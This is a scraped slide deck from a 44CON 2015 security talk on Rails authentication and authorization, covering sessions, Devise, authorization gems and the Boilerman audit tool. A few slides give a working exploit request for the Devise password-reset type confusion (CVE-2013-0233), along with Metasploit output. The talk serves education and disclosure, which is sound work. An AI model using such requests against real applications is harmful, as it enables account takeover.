44CON London 2015 - Going AUTH the Rails on a Crazy Train

44CON
44CON44CON
Going AUTH the Rails on a Crazy Train
Tomek Rabczak
@sigdroid
Jeff Jarmoc
@jjarmoc September, 2015
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Who we are
Tomek Rabczak
Senior Security Consultant with NCC Group
Ex-Rails Maker turned Rails Breaker
Jeff Jarmoc
Senior Security Consultant with NCC Group
Occasional contributor to Metasploit, Brakeman
NCC Group
UK Headquarters, Worldwide Offices
Software Escrow, Testing, Domain Services
2
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
All Aboard, hahaha!
1. Rails Introduction
2. Authentication
3. Authorization
4. Boilerman: A New Dynamic Analysis Tool
3
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
`rails  new  sample_app`
sample_app  
app/  
models/  
views/  
controllers/
4
Root directory
Application files (Your code)
Models (Objects, usually backed by DB)
Views (Output presentation templates)
Controllers (Ties Models and Views with Actions)
Configuration files directory
Maps URLs to Controller Actions
Dependency record of Gem requirements
Specific versions of currently installed Gems
…  
config/  
  routes.rb  
…  
Gemfile  
Gemfile.lock
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
The ‘Rails Way’
5
ActiveRecord (Model)
SQLi protection via ORM-managed queries (see http://rails-sqli.org/)
ActionView (View)
XSS protection via default HTML-output encoding
ActionController (Controller)
CSRF protections via protect_from_forgery
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Goin’ off the Rails
Authentication (AUTHN)
Who is the user?
Only HTTP Basic & Digest natively
Authorization (AUTHZ)
What can they do?
No native facility
6
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Laying More Track - AUTHN
Option 1 - Roll your own
Re-invents the wheel, risks common
mistakes
Lots more to AUTHN than checking/
storing passwords
has_secure_password in >= 3.1
helps
7
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Laying More Track - AUTHN
8
Option 2 - Use a gem
Vulnerabilities are far-reaching
Ongoing updates/maintenance required
Integration can be tricky
Core code is generally well vetted
Encapsulates past community experience
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Common AUTHN Gems
Devise
Most popular, built on Warden
OmniAuth
Multi-Provider, OAuth focused
DoorKeeper
OAuth2 provider for Rails
AuthLogic
Adds a new model blending Sessions w/ Auth
9
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Arguments for writing
“For one, practical experience shows that authentication on
most sites requires extensive customization,
and modifying a third-party product is often
more work than writing the system from scratch. In addition,
off-the-shelf systems can be “black boxes”,
with potentially mysterious innards; when you write your own
system, you are far more likely to understand it.”
10
https://www.railstutorial.org/book/modeling_users#sec-adding_a_secure_password
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Write our own
11
http://api.rubyonrails.org/v3.1.0/classes/ActiveModel/SecurePassword/ClassMethods.html
http://chargen.matasano.com/chargen/2015/3/26/enough-with-the-salts-updates-on-secure-password-schemes.html
Digests stored with BCrypt
Schema: User(name:string, password_digest:string)
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Lots more needed.
Storing Creds and Authenticating is just the start
#TODO
Session management
Complexity requirements
Lost/Forgotten Password handling
API Tokens / MFA / 2FA / OAUTH
12
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Session Management
1. Exchange credentials for a token
(cookie).
2. Identify user by that token on
subsequent requests.
3. Invalidate that token when needed.
Logout or Timeout
4. Where we store session state varies
13
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Encrypted Cookie Sessions
14
ozzy@ozzy.com
*********
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Database Sessions
15
ozzy@ozzy.com
*********
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Database vs. Cookies
16
Database Cookie
User Cookie Random Token Encrypted Serialized Session Object
Revocation
Maximum Lifetime (Config)
One Concurrent
Delete From DB
Maximum Lifetime (Config)
Unlimited Concurrent
Attack Surface Theft / Enumeration
Theft / Enumeration
Cryptographic Attacks
Long/Infinite Lived Sessions
Encryption Key Exposure
*Deserialization Vulns
Per-Request Overhead
DB query
(caching may help)
Signature Validation
Decryption
Deserialization
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Session Type Config
config/initializers/session_store.rb:
Rails.application.config.session_store  :cookie_store,  
key:  ‘_session_cookie_name’,  
:expire_after  =>  2.hours
17
or  
:active_record_store
Session Expiry Time Must be Manually Configured!
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Cookie Session Config
18
config/secrets.yml:
production:  
    secret_key_base:  'secret  key’
Signed, Not Encrypted!
production:  
    secret_token:  'secret  key'
config/initializer/session_store.rb:
Rails.application.config.action_dispatch.cookies_serializer  =  :json
RCE w/ Key Exposure!
  :marshal    
  or  
:hybrid
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Lost/Forgotten Passwords
Password Hints
Change and email PW
“Secret” Questions
19
CAUTION
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Lost/Forgotten Passwords
20
1) Generate CSPRNG token => User object w/ timestamp
2) Transmit to user out of band (email, SMS, etc)
3) User visits site w/ token
4) User.find_by_token(), verify expiration, change password
5) Delete Token
GOOD
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Installing Devise
Gemfile
gem  'devise'  
Commands
rails  generate  devise:install  
rails  generate  devise  User  
Config
Initializer:   config/initializers/devise.rb
ActionMailer: config/environments/<environment>.rb
Initialize Database
rake  db:migrate
21
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
app/models/User.rb
22
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Routes
23
app/config/routes.rb:
devise_for  :users
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Using Devise
Controller Filter
before_action  :authenticate_user!  
Often put in ApplicationController
Skip where anonymous access needed
Helpers
user_signed_in?  
current_user  
user_session
24
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Devise Security History
Unreleased/HEAD
Optionally send password change notifications
3.5.1
Remove active tokens on email/password change
3.1.2
Addresses an email enumeration bug
3.1.0
Stores HMAC of tokens, instead of plain-text token
3.0.1
Fixes CSRF Token Fixation
2.2.3
Fixes a type confusion vulnerability
25
Disclosed by @joernchen of Phenoelit
Feb 5th, 2013
http://www.phenoelit.org/blog/archives/2013/02/05/
mysql_madness_and_rails/
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Devise Password Reset
Pseudo-Code
26
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
MySQL Equality
27
mysql>  select  "foo"  from  dual  where  1="1string";  
+-­‐-­‐-­‐-­‐-­‐+  
|  foo  |  
+-­‐-­‐-­‐-­‐-­‐+  
|  foo  |  
+-­‐-­‐-­‐-­‐-­‐+  
1  row  in  set,  1  warning  (0.00  sec)
mysql>  select  "foo"  from  dual  where  0="string";  
+-­‐-­‐-­‐-­‐-­‐+  
|  foo  |  
+-­‐-­‐-­‐-­‐-­‐+  
|  foo  |  
+-­‐-­‐-­‐-­‐-­‐+  
1  row  in  set,  1  warning  (0.00  sec)
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Exploiting in Rails
params[]
A hash of (usually) strings containing values of user-supplied parameters
28
Like this
/example?foo=bar&fizz=buzz  
params  =>  {"foo"=>"bar",  “fizz"=>"buzz"}  
/example?foo=1&fizz=2  
params  =>  {"foo"=>"1",  "fizz"=>"2"}
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Exploiting in Rails
Rails Magic
XML (<4.0) and JSON (all versions) bodies parsed automatically
Typecast per those formats
29
Like this
POST  /example  HTTP/1.1  
content-­‐type:  application/xml  
<foo>bar</foo>  
<fizz  type=“integer”>1</fizz>  
params  =>  {"foo"=>"bar",  “fizz"=>1}  
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Devise Password Reset Exploit
How about this?
PUT  /users/password  HTTP/1.1  
content-­‐type:  application/json  
{"user":{  
"password":"GAMEOVER",  
"password_confirmation":"GAMEOVER",  
“reset_password_token":0}  
}  
30
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Devise Password Reset Exploit
params[] =>
{"user"=>{"password"=>"GAMEOVER",  
"password_confirmation"=>"GAMEOVER",  
“reset_password_token”=>0}}
31
Query
User.find_by_token(0)  
SELECT  *  from  Users  where  token=0  limit  1;
Result
Resets password of first User with an outstanding token!
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Metasploit module
rails_devise_pass_reset.rb
Clears any outstanding tokens
Generates a token for a user of your choosing
Resets password to token of your choosing
Legitimate user *WILL* get emails
32
msf  auxiliary(rails_devise_pass_reset)  >  exploit  
[*]  Clearing  existing  tokens...  
[*]  Generating  reset  token  for  admin@example.com...  
[+]  Reset  token  generated  successfully  
[*]  Resetting  password  to  "w00tw00t"...  
[+]  Password  reset  worked  successfully  
[*]  Auxiliary  module  execution  completed
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Password Reset Type Confusion
Patched in Devise
>= v2.2.3, v2.1.3, v2.0.5 and v1.5.4
CVE-2013-0233
33
Fixed in Rails
= 3.2.12 https://github.com/rails/rails/pull/9208
>= 4.2.0 https://github.com/rails/rails/pull/16069
Reverted in Rails
>= 3.2.13 https://github.com/rails/rails/issues/9292
Core vulnerability effects more
than just Devise!
User.where(“token=?”, params[token])
Thanks to @joernchen of Phenoelit
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Authorization
What can they do?
Often tied to the concept of roles
34
Vertical Authorization
Site Admin (Full Access)
Organization Admin (Full Access to specific Org)
“Regular User” (Limited Read Access + Local Write Access)
Unauthenticated (No Access)
Horizontal Authorization
Org1 vs Org2 Data
Within an Org, User1 vs User2 Data
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Authorization - Rails
35
Vertical Authorization
before_actions
Horizontal Authorization
Associations
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Controller Routing
Given a route: get '/posts', to: 'posts#index'
36
Method path controller # action
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Controller Hierarchy
37
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
How they work
3 types of callbacks
- :before,  :around,  :after
- Authorization tends to only care about before_actions
38
-­‐  before_action  :authorize_user,  only:  [:action1,  :action2,  …]  
-­‐  before_action  :authorize_user,  except:  [:action1,  :action2,  …]
-­‐  before_action  :authorize_user,  if:  method_call  
-­‐  before_action  :authorize_user,  unless:  method_call
-­‐  skip_before_action  :authorize_user,  only:  [:action1,  :action2,  …]  
-­‐  skip_before_action  :authorize_user,  except:  [:action1,  :action2,  …]
-­‐  before_action  :authorize_user,  Proc.new  {|controller|  #AUTHZ  Logic…  }
http://api.rubyonrails.org/classes/ActiveSupport/Callbacks.html
Different flavors
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Authorization Gems
Pundit
- Enforced through the use of Policy classes
  @post  =  Post.find(params[:id])  
  authorize  @post  
- https://github.com/elabs/pundit
CanCan(Can)
- Enforced through the use of an Ability class
- https://github.com/CanCanCommunity/cancancan
39
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
CanCanCan Basics
40
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Be On The Lookout For…
find_by methods called directly on the model
41
GOOD
CAUTION
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Be On The Lookout For…
before_action  …  only:  [:action1,  :action2]
42
CAUTION
GOOD
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Be On The Lookout For…
Lightweight Controllers
43
GOOD
CAUTION
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Be On The Lookout For…
Authorization Logic in Views
44
Ensure the application is also verifying permissions in controller action
CAUTION
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Be On The Lookout For…
Skipping of filters
45
Skips the :authorize_admin filter for every action
can be an artifact left over from testing/development
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Rails Scaffolding
46
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Be On The Lookout For…
/app/views/bank_accts/show.json.jbuilder:
json.extract  @bank_acct,  :id,  :acct_number,  :acct_balance,  :acct_holder_name,  …
47
http://rubyjunky.com/rails-scaffold-dangerous-defaults.html?utm_source=rubyweekly&utm_medium=email
Possible unwanted attributes added to view or strong_parameters
Generator/Scaffold artifacts
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
New Tool: Boilerman
Before Boilerman
Audit every Controller manually
Track inheritance / overrides
Mind the gaps
48
https://github.com/tomekr/boilerman
With Boilerman
Dynamically resolve callbacks
See all filters for a given Controller#Action
Filter the list dynamically
In browser or Rails Console
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
New Tool: Boilerman
Dynamic analysis tool
Plugs into an existing Rails application
Rails console access needed
As a minimum requirement
Mounted as a Rails engine
Accessed at /boilerman  
or through Rails Console
49
https://github.com/tomekr/boilerman
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Boilerman Demo
Praise be to the almighty demo gods.
50
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Boilerman
Install: gem  install  boilerman  
Takeaways
Rails console can be a very powerful tool
Future Ideas
D3 visualizations
matrix of Controller#Action & Filter pairs
Source querying via pry’s source functionality
Useful for auditing Pundit based authorization schemes
51
Tomek Rabczak, Jeff Jarmoc - Going AUTH the Rails on a Crazy Train
Questions?
52
Tomek Rabczak
@sigdroid
Jeff Jarmoc
@jjarmoc
1 of 52

Recommended

The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019 by
The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019
The Recording HTTP Proxy: Not Yet Another Messiah - Bulgaria PHP 2019Viktor Todorov
587 views105 slides
Web::Scraper by
Web::ScraperWeb::Scraper
Web::ScraperTatsuhiko Miyagawa
18.4K views79 slides
An Introduction to Solr by
An Introduction to SolrAn Introduction to Solr
An Introduction to Solrtomhill
12.7K views82 slides
Perl comet by
Perl cometPerl comet
Perl cometMarian Marinov
3.2K views21 slides
MITH Digital Dialogues: Intro to Programming for Humanists (with Ruby) by
MITH Digital Dialogues: Intro to Programming for Humanists (with Ruby)MITH Digital Dialogues: Intro to Programming for Humanists (with Ruby)
MITH Digital Dialogues: Intro to Programming for Humanists (with Ruby)joegilbert
12.3K views30 slides
Ruby HTTP clients comparison by
Ruby HTTP clients comparisonRuby HTTP clients comparison
Ruby HTTP clients comparisonHiroshi Nakamura
26.3K views77 slides

More Related Content

What's hot

Torquebox OSCON Java 2011 by
Torquebox OSCON Java 2011Torquebox OSCON Java 2011
Torquebox OSCON Java 2011tobiascrawley
562 views101 slides
Burp plugin development for java n00bs (44 con) by
Burp plugin development for java n00bs (44 con)Burp plugin development for java n00bs (44 con)
Burp plugin development for java n00bs (44 con)Marc Wickenden
7K views65 slides
Building Realtime Apps with Ember.js and WebSockets by
Building Realtime Apps with Ember.js and WebSocketsBuilding Realtime Apps with Ember.js and WebSockets
Building Realtime Apps with Ember.js and WebSocketsBen Limmer
4.5K views98 slides
Torquebox @ Raleigh.rb - April 2011 by
Torquebox @ Raleigh.rb - April 2011Torquebox @ Raleigh.rb - April 2011
Torquebox @ Raleigh.rb - April 2011tobiascrawley
421 views110 slides
CouchDB Google by
CouchDB GoogleCouchDB Google
CouchDB GoogleSteve Souders
1.7K views74 slides
Intro to PSGI and Plack by
Intro to PSGI and PlackIntro to PSGI and Plack
Intro to PSGI and PlackTatsuhiko Miyagawa
4K views79 slides

What's hot(20)

Torquebox OSCON Java 2011 by tobiascrawley
Torquebox OSCON Java 2011Torquebox OSCON Java 2011
Torquebox OSCON Java 2011
tobiascrawley562 views
Burp plugin development for java n00bs (44 con) by Marc Wickenden
Burp plugin development for java n00bs (44 con)Burp plugin development for java n00bs (44 con)
Burp plugin development for java n00bs (44 con)
Marc Wickenden7K views
Building Realtime Apps with Ember.js and WebSockets by Ben Limmer
Building Realtime Apps with Ember.js and WebSocketsBuilding Realtime Apps with Ember.js and WebSockets
Building Realtime Apps with Ember.js and WebSockets
Ben Limmer4.5K views
Torquebox @ Raleigh.rb - April 2011 by tobiascrawley
Torquebox @ Raleigh.rb - April 2011Torquebox @ Raleigh.rb - April 2011
Torquebox @ Raleigh.rb - April 2011
tobiascrawley421 views
Information security programming in ruby by Hiroshi Nakamura
Information security programming in rubyInformation security programming in ruby
Information security programming in ruby
Hiroshi Nakamura1.2K views
Hidden Gems in HTTP by Ben Ramsey
Hidden Gems in HTTPHidden Gems in HTTP
Hidden Gems in HTTP
Ben Ramsey2.2K views
Torquebox @ Charlotte.rb May 2011 by tobiascrawley
Torquebox @ Charlotte.rb May 2011Torquebox @ Charlotte.rb May 2011
Torquebox @ Charlotte.rb May 2011
tobiascrawley775 views
Performance Improvements in Browsers by jeresig
Performance Improvements in BrowsersPerformance Improvements in Browsers
Performance Improvements in Browsers
jeresig12.1K views
Making the Most of HTTP In Your Apps by Ben Ramsey
Making the Most of HTTP In Your AppsMaking the Most of HTTP In Your Apps
Making the Most of HTTP In Your Apps
Ben Ramsey10.9K views
Servlet 3.1 Async I/O by Simone Bordet
Servlet 3.1 Async I/OServlet 3.1 Async I/O
Servlet 3.1 Async I/O
Simone Bordet16.2K views
Complex Made Simple: Sleep Better with TorqueBox by bobmcwhirter
Complex Made Simple: Sleep Better with TorqueBoxComplex Made Simple: Sleep Better with TorqueBox
Complex Made Simple: Sleep Better with TorqueBox
bobmcwhirter1.7K views
TorqueBox: The beauty of Ruby with the power of JBoss. Presented at Devnexus... by bobmcwhirter
TorqueBox: The beauty of Ruby with the power of JBoss.  Presented at Devnexus...TorqueBox: The beauty of Ruby with the power of JBoss.  Presented at Devnexus...
TorqueBox: The beauty of Ruby with the power of JBoss. Presented at Devnexus...
bobmcwhirter1.6K views

Viewers also liked

Toppling Domino - 44CON 4012 by
Toppling Domino - 44CON 4012Toppling Domino - 44CON 4012
Toppling Domino - 44CON 401244CON
1.7K views51 slides
44CON London 2015 - How to drive a malware analyst crazy by
44CON London 2015 - How to drive a malware analyst crazy44CON London 2015 - How to drive a malware analyst crazy
44CON London 2015 - How to drive a malware analyst crazy44CON
1.4K views51 slides
44CON London 2015 - Indicators of Compromise: From malware analysis to eradic... by
44CON London 2015 - Indicators of Compromise: From malware analysis to eradic...44CON London 2015 - Indicators of Compromise: From malware analysis to eradic...
44CON London 2015 - Indicators of Compromise: From malware analysis to eradic...44CON
1K views29 slides
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis by
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis44CON London 2015 - 15-Minute Linux Incident Response Live Analysis
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis44CON
992 views40 slides
44CON London 2015 - Is there an EFI monster inside your apple? by
44CON London 2015 - Is there an EFI monster inside your apple?44CON London 2015 - Is there an EFI monster inside your apple?
44CON London 2015 - Is there an EFI monster inside your apple?44CON
960 views173 slides
44CON London 2015 - Stegosploit - Drive-by Browser Exploits using only Images by
44CON London 2015 - Stegosploit - Drive-by Browser Exploits using only Images44CON London 2015 - Stegosploit - Drive-by Browser Exploits using only Images
44CON London 2015 - Stegosploit - Drive-by Browser Exploits using only Images44CON
2K views53 slides

Viewers also liked(6)

Toppling Domino - 44CON 4012 by 44CON
Toppling Domino - 44CON 4012Toppling Domino - 44CON 4012
Toppling Domino - 44CON 4012
44CON1.7K views
44CON London 2015 - How to drive a malware analyst crazy by 44CON
44CON London 2015 - How to drive a malware analyst crazy44CON London 2015 - How to drive a malware analyst crazy
44CON London 2015 - How to drive a malware analyst crazy
44CON1.4K views
44CON London 2015 - Indicators of Compromise: From malware analysis to eradic... by 44CON
44CON London 2015 - Indicators of Compromise: From malware analysis to eradic...44CON London 2015 - Indicators of Compromise: From malware analysis to eradic...
44CON London 2015 - Indicators of Compromise: From malware analysis to eradic...
44CON1K views
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis by 44CON
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis44CON London 2015 - 15-Minute Linux Incident Response Live Analysis
44CON London 2015 - 15-Minute Linux Incident Response Live Analysis
44CON992 views
44CON London 2015 - Is there an EFI monster inside your apple? by 44CON
44CON London 2015 - Is there an EFI monster inside your apple?44CON London 2015 - Is there an EFI monster inside your apple?
44CON London 2015 - Is there an EFI monster inside your apple?
44CON960 views
44CON London 2015 - Stegosploit - Drive-by Browser Exploits using only Images by 44CON
44CON London 2015 - Stegosploit - Drive-by Browser Exploits using only Images44CON London 2015 - Stegosploit - Drive-by Browser Exploits using only Images
44CON London 2015 - Stegosploit - Drive-by Browser Exploits using only Images
44CON2K views

Similar to 44CON London 2015 - Going AUTH the Rails on a Crazy Train

Deploying JRuby Web Applications by
Deploying JRuby Web ApplicationsDeploying JRuby Web Applications
Deploying JRuby Web ApplicationsJoe Kutner
14.3K views38 slides
Introducción a Wiremock by
Introducción a WiremockIntroducción a Wiremock
Introducción a WiremockJose Ortiz
934 views22 slides
Laboratory 2PRACTICE EXAMINING TRAFFIC WITH A PROTOCOL ANALYZER.docx by
Laboratory 2PRACTICE EXAMINING TRAFFIC WITH A PROTOCOL ANALYZER.docxLaboratory 2PRACTICE EXAMINING TRAFFIC WITH A PROTOCOL ANALYZER.docx
Laboratory 2PRACTICE EXAMINING TRAFFIC WITH A PROTOCOL ANALYZER.docxsleeperfindley
6 views3 slides
Deploy, Scale and Sleep at Night with JRuby by
Deploy, Scale and Sleep at Night with JRubyDeploy, Scale and Sleep at Night with JRuby
Deploy, Scale and Sleep at Night with JRubyJoe Kutner
4.2K views39 slides
Socket applications by
Socket applicationsSocket applications
Socket applicationsJoão Moura
601 views121 slides
Rapid java backend and api development for mobile devices by
Rapid java backend and api development for mobile devicesRapid java backend and api development for mobile devices
Rapid java backend and api development for mobile devicesciklum_ods
1.9K views18 slides

Similar to 44CON London 2015 - Going AUTH the Rails on a Crazy Train(20)

Deploying JRuby Web Applications by Joe Kutner
Deploying JRuby Web ApplicationsDeploying JRuby Web Applications
Deploying JRuby Web Applications
Joe Kutner14.3K views
Introducción a Wiremock by Jose Ortiz
Introducción a WiremockIntroducción a Wiremock
Introducción a Wiremock
Jose Ortiz934 views
Laboratory 2PRACTICE EXAMINING TRAFFIC WITH A PROTOCOL ANALYZER.docx by sleeperfindley
Laboratory 2PRACTICE EXAMINING TRAFFIC WITH A PROTOCOL ANALYZER.docxLaboratory 2PRACTICE EXAMINING TRAFFIC WITH A PROTOCOL ANALYZER.docx
Laboratory 2PRACTICE EXAMINING TRAFFIC WITH A PROTOCOL ANALYZER.docx
sleeperfindley6 views
Deploy, Scale and Sleep at Night with JRuby by Joe Kutner
Deploy, Scale and Sleep at Night with JRubyDeploy, Scale and Sleep at Night with JRuby
Deploy, Scale and Sleep at Night with JRuby
Joe Kutner4.2K views
Socket applications by João Moura
Socket applicationsSocket applications
Socket applications
João Moura601 views
Rapid java backend and api development for mobile devices by ciklum_ods
Rapid java backend and api development for mobile devicesRapid java backend and api development for mobile devices
Rapid java backend and api development for mobile devices
ciklum_ods1.9K views
Hunting for APT in network logs workshop presentation by OlehLevytskyi1
Hunting for APT in network logs workshop presentationHunting for APT in network logs workshop presentation
Hunting for APT in network logs workshop presentation
OlehLevytskyi1405 views
DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ... by Zoltan Balazs
DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...
DEFCON 22: Bypass firewalls, application white lists, secure remote desktops ...
Zoltan Balazs10.1K views
Camel and JBoss by JBug Italy
Camel and JBossCamel and JBoss
Camel and JBoss
JBug Italy2.4K views
Who pulls the strings? by Ronny
Who pulls the strings?Who pulls the strings?
Who pulls the strings?
Ronny1.6K views
Crushing Latency with Vert.x by Paulo Lopes
Crushing Latency with Vert.xCrushing Latency with Vert.x
Crushing Latency with Vert.x
Paulo Lopes329 views
A rough guide to JavaScript Performance by allmarkedup
A rough guide to JavaScript PerformanceA rough guide to JavaScript Performance
A rough guide to JavaScript Performance
allmarkedup286 views
SD, a P2P bug tracking system by Jesse Vincent
SD, a P2P bug tracking systemSD, a P2P bug tracking system
SD, a P2P bug tracking system
Jesse Vincent13.6K views
AppSec EU 2009 - HTTP Parameter Pollution by Luca Carettoni and Stefano di P... by Magno Logan
AppSec EU 2009 - HTTP Parameter Pollution by Luca Carettoni and  Stefano di P...AppSec EU 2009 - HTTP Parameter Pollution by Luca Carettoni and  Stefano di P...
AppSec EU 2009 - HTTP Parameter Pollution by Luca Carettoni and Stefano di P...
Magno Logan950 views
Hands on with CoAP and Californium by Julien Vermillard
Hands on with CoAP and CaliforniumHands on with CoAP and Californium
Hands on with CoAP and Californium
Julien Vermillard17.5K views
Multi-Layer DDoS Mitigation Strategies by Logan Best
Multi-Layer DDoS Mitigation StrategiesMulti-Layer DDoS Mitigation Strategies
Multi-Layer DDoS Mitigation Strategies
Logan Best349 views
TorqueBox at DC:JBUG - November 2011 by bobmcwhirter
TorqueBox at DC:JBUG - November 2011TorqueBox at DC:JBUG - November 2011
TorqueBox at DC:JBUG - November 2011
bobmcwhirter767 views
Ajax to the Moon by davejohnson
Ajax to the MoonAjax to the Moon
Ajax to the Moon
davejohnson1.4K views

More from 44CON

They're All Scorpions - Successful SecOps in a Hostile Workplace - Pete Herzo... by
They're All Scorpions - Successful SecOps in a Hostile Workplace - Pete Herzo...They're All Scorpions - Successful SecOps in a Hostile Workplace - Pete Herzo...
They're All Scorpions - Successful SecOps in a Hostile Workplace - Pete Herzo...44CON
434 views29 slides
How to Explain Post-Quantum Cryptography to a Middle School Student - Klaus S... by
How to Explain Post-Quantum Cryptography to a Middle School Student - Klaus S...How to Explain Post-Quantum Cryptography to a Middle School Student - Klaus S...
How to Explain Post-Quantum Cryptography to a Middle School Student - Klaus S...44CON
443 views76 slides
Using SmartNICs to Provide Better Data Center Security - Jack Matheson - 44CO... by
Using SmartNICs to Provide Better Data Center Security - Jack Matheson - 44CO...Using SmartNICs to Provide Better Data Center Security - Jack Matheson - 44CO...
Using SmartNICs to Provide Better Data Center Security - Jack Matheson - 44CO...44CON
419 views26 slides
JARVIS never saw it coming: Hacking machine learning (ML) in speech, text and... by
JARVIS never saw it coming: Hacking machine learning (ML) in speech, text and...JARVIS never saw it coming: Hacking machine learning (ML) in speech, text and...
JARVIS never saw it coming: Hacking machine learning (ML) in speech, text and...44CON
247 views113 slides
Reverse Engineering and Bug Hunting on KMDF Drivers - Enrique Nissim - 44CON ... by
Reverse Engineering and Bug Hunting on KMDF Drivers - Enrique Nissim - 44CON ...Reverse Engineering and Bug Hunting on KMDF Drivers - Enrique Nissim - 44CON ...
Reverse Engineering and Bug Hunting on KMDF Drivers - Enrique Nissim - 44CON ...44CON
450 views79 slides
The UK's Code of Practice for Security in Consumer IoT Products and Services ... by
The UK's Code of Practice for Security in Consumer IoT Products and Services ...The UK's Code of Practice for Security in Consumer IoT Products and Services ...
The UK's Code of Practice for Security in Consumer IoT Products and Services ...44CON
260 views15 slides

More from 44CON(20)

They're All Scorpions - Successful SecOps in a Hostile Workplace - Pete Herzo... by 44CON
They're All Scorpions - Successful SecOps in a Hostile Workplace - Pete Herzo...They're All Scorpions - Successful SecOps in a Hostile Workplace - Pete Herzo...
They're All Scorpions - Successful SecOps in a Hostile Workplace - Pete Herzo...
44CON434 views
How to Explain Post-Quantum Cryptography to a Middle School Student - Klaus S... by 44CON
How to Explain Post-Quantum Cryptography to a Middle School Student - Klaus S...How to Explain Post-Quantum Cryptography to a Middle School Student - Klaus S...
How to Explain Post-Quantum Cryptography to a Middle School Student - Klaus S...
44CON443 views
Using SmartNICs to Provide Better Data Center Security - Jack Matheson - 44CO... by 44CON
Using SmartNICs to Provide Better Data Center Security - Jack Matheson - 44CO...Using SmartNICs to Provide Better Data Center Security - Jack Matheson - 44CO...
Using SmartNICs to Provide Better Data Center Security - Jack Matheson - 44CO...
44CON419 views
JARVIS never saw it coming: Hacking machine learning (ML) in speech, text and... by 44CON
JARVIS never saw it coming: Hacking machine learning (ML) in speech, text and...JARVIS never saw it coming: Hacking machine learning (ML) in speech, text and...
JARVIS never saw it coming: Hacking machine learning (ML) in speech, text and...
44CON247 views
Reverse Engineering and Bug Hunting on KMDF Drivers - Enrique Nissim - 44CON ... by 44CON
Reverse Engineering and Bug Hunting on KMDF Drivers - Enrique Nissim - 44CON ...Reverse Engineering and Bug Hunting on KMDF Drivers - Enrique Nissim - 44CON ...
Reverse Engineering and Bug Hunting on KMDF Drivers - Enrique Nissim - 44CON ...
44CON450 views
The UK's Code of Practice for Security in Consumer IoT Products and Services ... by 44CON
The UK's Code of Practice for Security in Consumer IoT Products and Services ...The UK's Code of Practice for Security in Consumer IoT Products and Services ...
